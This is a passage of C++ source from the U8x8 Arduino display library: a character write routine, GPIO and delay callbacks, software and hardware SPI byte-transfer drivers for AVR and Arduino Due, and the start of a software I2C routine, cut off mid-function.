NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "U8x8lib.h" #ifdef ARDUINO #ifdef U8X8_HAVE_HW_SPI #include #endif #ifdef U8X8_HAVE_HW_I2C # ifdef U8X8_HAVE_HW_I2C_TEENSY3 # include # else # include # ifdef U8X8_HAVE_2ND_HW_I2C # if defined(MINICORE) && defined(__AVR_ATmega328PB__) # include # endif # endif # endif #endif /* U8X8_HAVE_HW_I2C */ #endif /* ARDUINO */ /*=============================================*/ size_t U8X8::write(uint8_t v) { if ( v == '\n' ) { uint8_t dy = u8x8_pgm_read(u8x8.font+3); /* new 2019 format */ ty+=dy; tx=0; } else { uint8_t dx = u8x8_pgm_read(u8x8.font+2); /* new 2019 format */ u8x8_DrawGlyph(&u8x8, tx, ty, v); tx+=dx; } return 1; } /*=============================================*/ /*=== ARDUINO GPIO & DELAY ===*/ #ifdef ARDUINO #ifdef U8X8_USE_PINS extern "C" uint8_t u8x8_gpio_and_delay_arduino(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, U8X8_UNUSED void *arg_ptr) { uint8_t i; switch(msg) { case U8X8_MSG_GPIO_AND_DELAY_INIT: for( i = 0; i < U8X8_PIN_CNT; i++ ) if ( u8x8->pins[i] != U8X8_PIN_NONE ) { if ( i < U8X8_PIN_OUTPUT_CNT ) { pinMode(u8x8->pins[i], OUTPUT); } else { #ifdef INPUT_PULLUP pinMode(u8x8->pins[i], INPUT_PULLUP); #else pinMode(u8x8->pins[i], OUTPUT); digitalWrite(u8x8->pins[i], 1); #endif } } break; #ifndef __AVR__ /* this case is not compiled for any AVR, because AVR uC are so slow */ /* that this delay does not matter */ case U8X8_MSG_DELAY_NANO: delayMicroseconds(arg_int==0?0:1); break; #endif case U8X8_MSG_DELAY_10MICRO: /* not used at the moment */ break; case U8X8_MSG_DELAY_100NANO: /* not used at the moment */ break; case U8X8_MSG_DELAY_MILLI: delay(arg_int); break; case U8X8_MSG_DELAY_I2C: /* arg_int is 1 or 4: 100KHz (5us) or 400KHz (1.25us) */ delayMicroseconds(arg_int<=2?5:2); break; case U8X8_MSG_GPIO_I2C_CLOCK: case U8X8_MSG_GPIO_I2C_DATA: if ( arg_int == 0 ) { pinMode(u8x8_GetPinValue(u8x8, msg), OUTPUT); digitalWrite(u8x8_GetPinValue(u8x8, msg), 0); } else { #ifdef INPUT_PULLUP pinMode(u8x8_GetPinValue(u8x8, msg), INPUT_PULLUP); #else pinMode(u8x8_GetPinValue(u8x8, msg), OUTPUT); digitalWrite(u8x8_GetPinValue(u8x8, msg), 1); #endif } break; default: if ( msg >= U8X8_MSG_GPIO(0) ) { i = u8x8_GetPinValue(u8x8, msg); if ( i != U8X8_PIN_NONE ) { if ( u8x8_GetPinIndex(u8x8, msg) < U8X8_PIN_OUTPUT_CNT ) { digitalWrite(i, arg_int); } else { if ( u8x8_GetPinIndex(u8x8, msg) == U8X8_PIN_OUTPUT_CNT ) { // call yield() for the first pin only, u8x8 will always request all the pins, so this should be ok yield(); } u8x8_SetGPIOResult(u8x8, digitalRead(i) == 0 ? 0 : 1); } } break; } return 0; } return 1; } #endif // U8X8_USE_PINS /*=============================================*/ /*=== 3 WIRE SOFTWARE SPI ===*/ /* replacement for a more faster u8x8_byte_3wire_sw_spi in general u8x8_byte_3wire_sw_spi could be a fallback: uint8_t u8x8_byte_arduino_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_3wire_sw_spi(u8x8, msg,arg_int, arg_ptr); } */ #ifndef __AVR_ARCH__ #define __AVR_ARCH__ 0 #endif #if !defined(U8X8_USE_PINS) /* no pin information (very strange), so fallback */ uint8_t u8x8_byte_arduino_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_3wire_sw_spi(u8x8, msg,arg_int, arg_ptr); } #elif __AVR_ARCH__ == 4 || __AVR_ARCH__ == 5 || __AVR_ARCH__ == 51 || __AVR_ARCH__ == 6 || __AVR_ARCH__ == 103 /* this function completely replaces u8x8_byte_4wire_sw_spi*/ extern "C" uint8_t u8x8_byte_arduino_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i; uint8_t takeover_edge = u8x8_GetSPIClockPhase(u8x8); uint16_t b; uint8_t *data; /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */ /* so, it should be possible to use multiple displays with different pins */ static volatile uint8_t *arduino_clock_port; static uint8_t arduino_clock_mask; static uint8_t arduino_clock_n_mask; static volatile uint8_t *arduino_data_port; static uint8_t arduino_data_mask; static uint8_t arduino_data_n_mask; static uint8_t last_dc; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; if ( takeover_edge == 0 ) { while( arg_int > 0 ) { b = *data; if ( last_dc != 0 ) b |= 256; data++; arg_int--; /* issue 156, check for speed */ #if F_CPU <= 17000000 if ( b == 0 ) { *arduino_data_port &= arduino_data_n_mask; for( i = 0; i < 9; i++ ) { *arduino_clock_port |= arduino_clock_mask; *arduino_clock_port &= arduino_clock_n_mask; } } else #endif { for( i = 0; i < 9; i++ ) { if ( b & 256 ) *arduino_data_port |= arduino_data_mask; else *arduino_data_port &= arduino_data_n_mask; *arduino_clock_port |= arduino_clock_mask; b <<= 1; *arduino_clock_port &= arduino_clock_n_mask; } } } } else { while( arg_int > 0 ) { b = *data; if ( last_dc != 0 ) b |= 256; data++; arg_int--; /* issue 156, check for speed */ #if F_CPU <= 17000000 if ( b == 0 ) { *arduino_data_port &= arduino_data_n_mask; for( i = 0; i < 9; i++ ) { *arduino_clock_port &= arduino_clock_n_mask; *arduino_clock_port |= arduino_clock_mask; } } else #endif { for( i = 0; i < 9; i++ ) { if ( b & 256 ) *arduino_data_port |= arduino_data_mask; else *arduino_data_port &= arduino_data_n_mask; *arduino_clock_port &= arduino_clock_n_mask; b <<= 1; *arduino_clock_port |= arduino_clock_mask; } } } } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* no wait required here */ /* for SPI: setup correct level of the clock signal */ u8x8_gpio_SetSPIClock(u8x8, u8x8_GetSPIClockPhase(u8x8)); break; case U8X8_MSG_BYTE_SET_DC: last_dc = arg_int; break; case U8X8_MSG_BYTE_START_TRANSFER: u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); /* there is no consistency checking for u8x8->pins[U8X8_PIN_SPI_CLOCK] */ arduino_clock_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_CLOCK])); arduino_clock_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_CLOCK]); arduino_clock_n_mask = ~arduino_clock_mask; /* there is no consistency checking for u8x8->pins[U8X8_PIN_SPI_DATA] */ arduino_data_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_DATA])); arduino_data_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_DATA]); arduino_data_n_mask = ~arduino_data_mask; break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); break; default: return 0; } return 1; } #else /* fallback */ uint8_t u8x8_byte_arduino_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_3wire_sw_spi(u8x8, msg,arg_int, arg_ptr); } #endif /*=============================================*/ /*=== 4 WIRE SOFTWARE SPI ===*/ /* replacement for a more faster u8x8_byte_4wire_sw_spi in general u8x8_byte_4wire_sw_spi could be a fallback: uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_4wire_sw_spi(u8x8, msg,arg_int, arg_ptr); } */ #ifndef __AVR_ARCH__ #define __AVR_ARCH__ 0 #endif #if !defined(U8X8_USE_PINS) /* no pin information (very strange), so fallback */ uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_4wire_sw_spi(u8x8, msg,arg_int, arg_ptr); } #elif __AVR_ARCH__ == 4 || __AVR_ARCH__ == 5 || __AVR_ARCH__ == 51 || __AVR_ARCH__ == 6 || __AVR_ARCH__ == 103 /* this function completely replaces u8x8_byte_4wire_sw_spi*/ extern "C" uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t SREG_backup; uint8_t i, b; uint8_t *data; uint8_t takeover_edge = u8x8_GetSPIClockPhase(u8x8); //uint8_t not_takeover_edge = 1 - takeover_edge; /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */ /* so, it should be possible to use multiple displays with different pins */ static volatile uint8_t *arduino_clock_port; static uint8_t arduino_clock_mask; static uint8_t arduino_clock_n_mask; static volatile uint8_t *arduino_data_port; static uint8_t arduino_data_mask; static uint8_t arduino_data_n_mask; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; if ( takeover_edge == 0 ) { while( arg_int > 0 ) { b = *data; data++; arg_int--; SREG_backup = SREG; cli(); /* issue 156, check for speed */ #if F_CPU <= 17000000 if ( b == 0 ) { *arduino_data_port &= arduino_data_n_mask; for( i = 0; i < 8; i++ ) { *arduino_clock_port |= arduino_clock_mask; *arduino_clock_port &= arduino_clock_n_mask; } } else #endif { for( i = 0; i < 8; i++ ) { if ( b & 128 ) *arduino_data_port |= arduino_data_mask; else *arduino_data_port &= arduino_data_n_mask; *arduino_clock_port |= arduino_clock_mask; b <<= 1; *arduino_clock_port &= arduino_clock_n_mask; } } SREG = SREG_backup; } } else { while( arg_int > 0 ) { b = *data; data++; arg_int--; SREG_backup = SREG; cli(); /* issue 156, check for speed */ #if F_CPU <= 17000000 if ( b == 0 ) { *arduino_data_port &= arduino_data_n_mask; for( i = 0; i < 8; i++ ) { *arduino_clock_port &= arduino_clock_n_mask; *arduino_clock_port |= arduino_clock_mask; } } else #endif { for( i = 0; i < 8; i++ ) { if ( b & 128 ) *arduino_data_port |= arduino_data_mask; else *arduino_data_port &= arduino_data_n_mask; *arduino_clock_port &= arduino_clock_n_mask; b <<= 1; *arduino_clock_port |= arduino_clock_mask; } } SREG = SREG_backup; } } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* no wait required here */ /* for SPI: setup correct level of the clock signal */ u8x8_gpio_SetSPIClock(u8x8, u8x8_GetSPIClockPhase(u8x8)); break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); /* there is no consistency checking for u8x8->pins[U8X8_PIN_SPI_CLOCK] */ arduino_clock_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_CLOCK])); arduino_clock_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_CLOCK]); arduino_clock_n_mask = ~arduino_clock_mask; /* there is no consistency checking for u8x8->pins[U8X8_PIN_SPI_DATA] */ arduino_data_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_DATA])); arduino_data_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_DATA]); arduino_data_n_mask = ~arduino_data_mask; break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); break; default: return 0; } return 1; } #elif defined(__SAM3X8E__) /* Arduino DUE */ /* this function completely replaces u8x8_byte_4wire_sw_spi*/ extern "C" uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i, b; uint16_t us = ((u8x8->display_info->sck_pulse_width_ns + 999)/1000); uint8_t *data; uint8_t takeover_edge = u8x8_GetSPIClockPhase(u8x8); //uint8_t not_takeover_edge = 1 - takeover_edge; /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */ /* so, it should be possible to use multiple displays with different pins */ /* static volatile uint32_t *arduino_clock_port; static uint32_t arduino_clock_mask; static uint32_t arduino_clock_n_mask; static volatile uint32_t *arduino_data_port; static uint32_t arduino_data_mask; static uint32_t arduino_data_n_mask; */ static WoReg *arduinoSetClockPort, *arduinoUnsetClockPort; static uint32_t arduino_clock_mask; static WoReg *arduinoSetDataPort, *arduinoUnsetDataPort; static uint32_t arduino_data_mask; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; if ( takeover_edge == 0 ) { while( arg_int > 0 ) { b = *data; data++; arg_int--; { for( i = 0; i < 8; i++ ) { /* if ( b & 128 ) *arduino_data_port |= arduino_data_mask; else *arduino_data_port &= arduino_data_n_mask; */ if (b & 128) *arduinoSetDataPort = arduino_data_mask; else *arduinoUnsetDataPort = arduino_data_mask; //delayMicroseconds(us); //*arduino_clock_port |= arduino_clock_mask; *arduinoSetClockPort = arduino_clock_mask; b <<= 1; delayMicroseconds(us); //*arduino_clock_port &= arduino_clock_n_mask; *arduinoUnsetClockPort = arduino_clock_mask; } } } } else { while( arg_int > 0 ) { b = *data; data++; arg_int--; { for( i = 0; i < 8; i++ ) { /* if ( b & 128 ) *arduino_data_port |= arduino_data_mask; else *arduino_data_port &= arduino_data_n_mask; */ if (b & 128) *arduinoSetDataPort = arduino_data_mask; else *arduinoUnsetDataPort = arduino_data_mask; //delayMicroseconds(us); //*arduino_clock_port &= arduino_clock_n_mask; *arduinoUnsetClockPort = arduino_clock_mask; b <<= 1; delayMicroseconds(us); //*arduino_clock_port |= arduino_clock_mask; *arduinoSetClockPort = arduino_clock_mask; } } } } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* no wait required here */ /* for SPI: setup correct level of the clock signal */ u8x8_gpio_SetSPIClock(u8x8, u8x8_GetSPIClockPhase(u8x8)); break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); /* there is no consistency checking for u8x8->pins[U8X8_PIN_SPI_CLOCK] */ /* arduino_clock_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_CLOCK])); arduino_clock_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_CLOCK]); arduino_clock_n_mask = ~arduino_clock_mask; arduino_data_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_DATA])); arduino_data_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_DATA]); arduino_data_n_mask = ~arduino_data_mask; */ arduinoSetClockPort = &digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_CLOCK])->PIO_SODR; arduinoUnsetClockPort = &digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_CLOCK])->PIO_CODR; arduino_clock_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_CLOCK]); arduinoSetDataPort = &digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_DATA])->PIO_SODR; arduinoUnsetDataPort = &digitalPinToPort(u8x8->pins[U8X8_PIN_SPI_DATA])->PIO_CODR; arduino_data_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_SPI_DATA]); break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); break; default: return 0; } return 1; } #else /* fallback */ uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_byte_4wire_sw_spi(u8x8, msg,arg_int, arg_ptr); } #endif /*=============================================*/ /*=== 3 WIRE HARDWARE SPI with 8 bit HW SPI Subsystem ===*/ /* references: https://github.com/olikraus/ucglib/blob/master/cppsrc/Ucglib.cpp#L581 https://github.com/olikraus/u8g2/issues/1041 */ static uint8_t arduino_hw_spi_3w_buffer[9]; static uint8_t arduino_hw_spi_3w_bytepos; static uint16_t arduino_hw_spi_3w_dc; // 0 = dc==0, 256 = dc==1 static void arduino_hw_spi_3w_init() { memset(arduino_hw_spi_3w_buffer, 0, 9); arduino_hw_spi_3w_bytepos = 0; } static void arduino_hw_spi_3w_flush(void) { #ifdef U8X8_HAVE_HW_SPI uint8_t i; for(i = 0; i <= arduino_hw_spi_3w_bytepos; i++) { SPI.transfer(arduino_hw_spi_3w_buffer[i]); } #endif } static void arduino_hw_spi_3w_sendbyte(uint8_t data) { static union { uint16_t val; struct { uint8_t lsb; uint8_t msb; }; } data16; // well well, not legal ISO 9899 code data16.val = (arduino_hw_spi_3w_dc + data) << (7 - arduino_hw_spi_3w_bytepos); #ifdef __BYTE_ORDER__ #if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos] |= data16.msb; ++arduino_hw_spi_3w_bytepos; arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos] |= data16.lsb; #else arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos] |= data16.lsb; ++arduino_hw_spi_3w_bytepos; arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos] |= data16.msb; #endif #else // __BYTE_ORDER__ not defined (no gcc) // assume little endian arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos] |= data16.msb; ++arduino_hw_spi_3w_bytepos; arduino_hw_spi_3w_buffer[arduino_hw_spi_3w_bytepos] |= data16.lsb; #endif if (arduino_hw_spi_3w_bytepos == 8) { arduino_hw_spi_3w_flush(); arduino_hw_spi_3w_init(); } } extern "C" uint8_t u8x8_byte_arduino_3wire_hw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { #ifdef U8X8_HAVE_HW_SPI uint8_t *data; uint8_t internal_spi_mode; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while(arg_int > 0) { arduino_hw_spi_3w_sendbyte((uint8_t)*data); data++; arg_int--; } break; case U8X8_MSG_BYTE_INIT: if ( u8x8->bus_clock == 0 ) /* issue 769 */ u8x8->bus_clock = u8x8->display_info->sck_clock_hz; /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); #if defined(ESP_PLATFORM) || defined(ARDUINO_ARCH_ESP32) /* ESP32 has the following begin: SPI.begin(int8_t sck=SCK, int8_t miso=MISO, int8_t mosi=MOSI, int8_t ss=-1); */ /* not sure about ESP8266 */ /* apply bugfix from PR 2123 */ //if ( u8x8->pins[U8X8_PIN_I2C_CLOCK] != U8X8_PIN_NONE && u8x8->pins[U8X8_PIN_I2C_DATA] != U8X8_PIN_NONE ) if ( u8x8->pins[U8X8_PIN_SPI_CLOCK] != U8X8_PIN_NONE && u8x8->pins[U8X8_PIN_SPI_DATA] != U8X8_PIN_NONE ) { /* SPI.begin(int8_t sck=SCK, int8_t miso=MISO, int8_t mosi=MOSI, int8_t ss=-1); */ /* actually MISO is not used, but what else could be used here??? */ //SPI.begin(u8x8->pins[U8X8_PIN_I2C_CLOCK], MISO, u8x8->pins[U8X8_PIN_I2C_DATA]); SPI.begin(u8x8->pins[U8X8_PIN_SPI_CLOCK], MISO, u8x8->pins[U8X8_PIN_SPI_DATA]); } else { SPI.begin(); } #else SPI.begin(); #endif break; case U8X8_MSG_BYTE_SET_DC: arduino_hw_spi_3w_dc = arg_int ? 256 : 0; break; case U8X8_MSG_BYTE_START_TRANSFER: /* SPI mode has to be mapped to the mode of the current controller; at least Uno, Due, 101 have different SPI_MODEx values */ internal_spi_mode = 0; switch(u8x8->display_info->spi_mode) { case 0: internal_spi_mode = SPI_MODE0; break; case 1: internal_spi_mode = SPI_MODE1; break; case 2: internal_spi_mode = SPI_MODE2; break; case 3: internal_spi_mode = SPI_MODE3; break; } #if ARDUINO >= 10600 SPI.beginTransaction( SPISettings(u8x8->bus_clock, MSBFIRST, internal_spi_mode)); #else SPI.begin(); if (u8x8->display_info->sck_pulse_width_ns < 70) SPI.setClockDivider(SPI_CLOCK_DIV2); else if (u8x8->display_info->sck_pulse_width_ns < 140) SPI.setClockDivider(SPI_CLOCK_DIV4); else SPI.setClockDivider(SPI_CLOCK_DIV8); SPI.setDataMode(internal_spi_mode); SPI.setBitOrder(MSBFIRST); #endif u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb( u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); arduino_hw_spi_3w_init(); break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb( u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); if (arduino_hw_spi_3w_bytepos) arduino_hw_spi_3w_flush(); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); #if ARDUINO >= 10600 SPI.endTransaction(); #else SPI.end(); #endif break; default: return 0; } #endif // U8X8_HAVE_HW_SPI return 1; } /*=============================================*/ /*=== 4 WIRE HARDWARE SPI ===*/ #ifdef U8X8_USE_PINS extern "C" uint8_t u8x8_byte_arduino_hw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { #ifdef U8X8_HAVE_HW_SPI #if !defined(ESP_PLATFORM) uint8_t *data; #endif uint8_t internal_spi_mode; switch(msg) { case U8X8_MSG_BYTE_SEND: #if defined(ESP_PLATFORM) //T.M.L 2023-02-28: use the block transfer function on ESP, which does not overwrite the buffer. SPI.writeBytes((uint8_t*)arg_ptr, arg_int); #else // 1.6.5 offers a block transfer, but the problem is, that the // buffer is overwritten with the incoming data // so it can not be used... // SPI.transfer((uint8_t *)arg_ptr, arg_int); data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { SPI.transfer((uint8_t)*data); data++; arg_int--; } #endif break; case U8X8_MSG_BYTE_INIT: if ( u8x8->bus_clock == 0 ) /* issue 769 */ u8x8->bus_clock = u8x8->display_info->sck_clock_hz; /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* no wait required here */ /* for SPI: setup correct level of the clock signal */ // removed, use SPI.begin() instead: pinMode(11, OUTPUT); // removed, use SPI.begin() instead: pinMode(13, OUTPUT); // removed, use SPI.begin() instead: digitalWrite(13, u8x8_GetSPIClockPhase(u8x8)); /* setup hardware with SPI.begin() instead of previous digitalWrite() and pinMode() calls */ /* issue #377 */ /* issue #378: removed ESP8266 support, which is implemented differently */ #if defined(ESP_PLATFORM) || defined(ARDUINO_ARCH_ESP32) /* ESP32 has the following begin: SPI.begin(int8_t sck=SCK, int8_t miso=MISO, int8_t mosi=MOSI, int8_t ss=-1); */ /* not sure about ESP8266 */ if ( u8x8->pins[U8X8_PIN_SPI_CLOCK] != U8X8_PIN_NONE && u8x8->pins[U8X8_PIN_SPI_DATA] != U8X8_PIN_NONE ) { /* SPI.begin(int8_t sck=SCK, int8_t miso=MISO, int8_t mosi=MOSI, int8_t ss=-1); */ /* actually MISO is not used, but what else could be used here??? */ SPI.begin(u8x8->pins[U8X8_PIN_SPI_CLOCK], MISO, u8x8->pins[U8X8_PIN_SPI_DATA]); } else { SPI.begin(); } #else SPI.begin(); #endif break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: /* SPI mode has to be mapped to the mode of the current controller, at least Uno, Due, 101 have different SPI_MODEx values */ internal_spi_mode = 0; switch(u8x8->display_info->spi_mode) { case 0: internal_spi_mode = SPI_MODE0; break; case 1: internal_spi_mode = SPI_MODE1; break; case 2: internal_spi_mode = SPI_MODE2; break; case 3: internal_spi_mode = SPI_MODE3; break; } #if ARDUINO >= 10600 SPI.beginTransaction(SPISettings(u8x8->bus_clock, MSBFIRST, internal_spi_mode)); #else SPI.begin(); if ( u8x8->display_info->sck_pulse_width_ns < 70 ) SPI.setClockDivider( SPI_CLOCK_DIV2 ); else if ( u8x8->display_info->sck_pulse_width_ns < 140 ) SPI.setClockDivider( SPI_CLOCK_DIV4 ); else SPI.setClockDivider( SPI_CLOCK_DIV8 ); SPI.setDataMode(internal_spi_mode); SPI.setBitOrder(MSBFIRST); #endif u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); #if ARDUINO >= 10600 SPI.endTransaction(); #else SPI.end(); #endif break; default: return 0; } #else /* U8X8_HAVE_HW_SPI */ #endif /* U8X8_HAVE_HW_SPI */ return 1; } /* issue #244 */ extern "C" uint8_t u8x8_byte_arduino_2nd_hw_spi(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr) { #ifdef U8X8_HAVE_2ND_HW_SPI uint8_t *data; uint8_t internal_spi_mode; switch(msg) { case U8X8_MSG_BYTE_SEND: // 1.6.5 offers a block transfer, but the problem is, that the // buffer is overwritten with the incoming data // so it can not be used... // SPI.transfer((uint8_t *)arg_ptr, arg_int); data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { SPI1.transfer((uint8_t)*data); data++; arg_int--; } break; case U8X8_MSG_BYTE_INIT: if ( u8x8->bus_clock == 0 ) /* issue 769 */ u8x8->bus_clock = u8x8->display_info->sck_clock_hz; /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* no wait required here */ /* for SPI1: setup correct level of the clock signal */ // removed, use SPI.begin() instead: pinMode(11, OUTPUT); // removed, use SPI.begin() instead: pinMode(13, OUTPUT); // removed, use SPI.begin() instead: digitalWrite(13, u8x8_GetSPIClockPhase(u8x8)); /* setup hardware with SPI.begin() instead of previous digitalWrite() and pinMode() calls */ SPI1.begin(); break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: /* SPI1 mode has to be mapped to the mode of the current controller, at least Uno, Due, 101 have different SPI_MODEx values */ internal_spi_mode = 0; switch(u8x8->display_info->spi_mode) { case 0: internal_spi_mode = SPI_MODE0; break; case 1: internal_spi_mode = SPI_MODE1; break; case 2: internal_spi_mode = SPI_MODE2; break; case 3: internal_spi_mode = SPI_MODE3; break; } #if ARDUINO >= 10600 SPI1.beginTransaction(SPISettings(u8x8->bus_clock, MSBFIRST, internal_spi_mode)); #else SPI1.begin(); if ( u8x8->display_info->sck_pulse_width_ns < 70 ) SPI1.setClockDivider( SPI_CLOCK_DIV2 ); else if ( u8x8->display_info->sck_pulse_width_ns < 140 ) SPI1.setClockDivider( SPI_CLOCK_DIV4 ); else SPI1.setClockDivider( SPI_CLOCK_DIV8 ); SPI1.setDataMode(internal_spi_mode); SPI1.setBitOrder(MSBFIRST); #endif u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); #if ARDUINO >= 10600 SPI1.endTransaction(); #else SPI1.end(); #endif break; default: return 0; } #else #endif return 1; } /*=============================================*/ /* fast SW I2C for AVR uC */ #if !defined(U8X8_USE_PINS) /* no pin information (very strange), so fallback */ extern "C" uint8_t u8x8_byte_arduino_sw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr) { return u8x8_byte_sw_i2c(u8x8, msg,arg_int, arg_ptr); } #elif !defined(U8X8_USE_ARDUINO_AVR_SW_I2C_OPTIMIZATION) extern "C" uint8_t u8x8_byte_arduino_sw_i2c(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, 